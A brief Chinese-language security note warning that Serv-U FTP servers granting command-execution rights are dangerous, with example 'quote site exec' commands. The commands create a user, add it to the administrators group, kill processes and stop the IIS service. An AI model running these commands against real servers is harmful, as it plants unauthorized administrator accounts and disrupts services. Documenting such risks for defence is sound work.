当 Serv-u 允许用户执行命令(有执行权限)的时候,就会出现很大的安全问题。如:
quote site exec net user comet 123456 /add '添加用户 comet
quote site exec net localgroup administrators comet /add '把用户 comet 添加到管理员组
quote site exec tskill PID '在 Win 2003 中通过 PID 关闭进程
quote site exec tskill notepad '在 Win 2003 中通过名称关闭同类的进程
quote site exec net stop iisadmin '停止 iis 服务
quote site exec net start iisadmin '启动 iis 服务